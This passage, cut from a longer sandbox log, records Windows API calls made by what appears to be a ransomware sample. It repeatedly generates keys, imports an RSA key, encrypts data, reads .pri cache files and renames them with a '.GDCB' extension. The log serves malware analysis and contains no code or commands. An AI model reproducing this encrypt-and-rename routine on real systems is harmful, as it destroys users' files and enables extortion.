dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1850) returned 1 [0206.907] CryptGetKeyParam (in: hKey=0x50d1850, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.907] CryptEncrypt (in: hKey=0x50d1850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.907] GetLastError () returned 0x0 [0206.907] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.907] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.910] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.912] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0xff0, lpOverlapped=0x0) returned 1 [0206.920] VirtualAlloc (lpAddress=0x0, dwSize=0xff0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.924] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri.gdcb")) returned 1 [0206.931] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.933] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.933] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.933] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.933] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.934] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.935] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.935] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.936] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.936] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.938] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1890) returned 1 [0206.938] CryptGetKeyParam (in: hKey=0x50d1890, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.938] CryptEncrypt (in: hKey=0x50d1890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.938] GetLastError () returned 0x0 [0206.938] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.938] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.940] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2690) returned 1 [0206.940] CryptGetKeyParam (in: hKey=0x50d2690, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.940] CryptEncrypt (in: hKey=0x50d2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.940] GetLastError () returned 0x0 [0206.940] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.940] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.942] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.944] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x11f0, lpOverlapped=0x0) returned 1 [0206.952] VirtualAlloc (lpAddress=0x0, dwSize=0x11f0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.956] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri.gdcb")) returned 1 [0206.963] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.966] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.966] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.966] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.968] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.968] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.970] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2190) returned 1 [0206.970] CryptGetKeyParam (in: hKey=0x50d2190, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.971] CryptEncrypt (in: hKey=0x50d2190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.971] GetLastError () returned 0x0 [0206.971] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.971] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.973] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d20d0) returned 1 [0206.973] CryptGetKeyParam (in: hKey=0x50d20d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.973] CryptEncrypt (in: hKey=0x50d20d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.973] GetLastError () returned 0x0 [0206.973] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.973] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.975] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.977] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.978] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x3e20, lpOverlapped=0x0) returned 1 [0206.985] VirtualAlloc (lpAddress=0x0, dwSize=0x3e20, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.034] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri.gdcb")) returned 1 [0207.041] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0207.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.044] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.044] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.044] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.044] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0207.045] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.046] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.046] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.046] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.048] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2050) returned 1 [0207.048] CryptGetKeyParam (in: hKey=0x50d2050, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.048] CryptEncrypt (in: hKey=0x50d2050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.048] GetLastError () returned 0x0 [0207.048] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.049] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.050] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2490) returned 1 [0207.050] CryptGetKeyParam (in: hKey=0x50d2490, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.050] CryptEncrypt (in: hKey=0x50d2490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.051] GetLastError () returned 0x0 [0207.051] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.054] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.056] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.057] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0xb280, lpOverlapped=0x0) returned 1 [0207.064] VirtualAlloc (lpAddress=0x0, dwSize=0xb280, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.105] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri.gdcb")) returned 1 [0207.111] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0207.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.114] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.114] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.114] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.114] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0207.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.116] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.116] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0207.116] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.118] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2310) returned 1 [0207.118] CryptGetKeyParam (in: hKey=0x50d2310, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.118] CryptEncrypt (in: hKey=0x50d2310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.119] GetLastError () returned 0x0 [0207.119] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.119] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0207.120] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2350) returned 1 [0207.120] CryptGetKeyParam (in: hKey=0x50d2350, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.120] CryptEncrypt (in: hKey=0x50d2350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.121] GetLastError () returned 0x0 [0207.121] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.121] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.122] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.123] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.125] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x80f0, lpOverlapped=0x0) returned 1 [0207.133] VirtualAlloc (lpAddress=0x0, dwSize=0x80f0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.138] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri.gdcb")) returned 1 [0207.145] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0207.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.148] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.148] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.148] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0207.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.150] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.150] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.150] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0207.152] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2650) returned 1 [0207.152] CryptGetKeyParam (in: hKey=0x50d2650, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.152] CryptEncrypt (in: hKey=0x50d2650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.152] GetLastError () returned 0x0 [0207.152] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.152] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0207.154] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2110) returned 1 [0207.154] CryptGetKeyParam (in: hKey=0x50d2110, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.154] CryptEncrypt (in: hKey=0x50d2110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.154] GetLastError () returned 0x0 [0207.154] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.154] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.156] VirtualAlloc (lpAddress=0x0, dwSize=0x8, 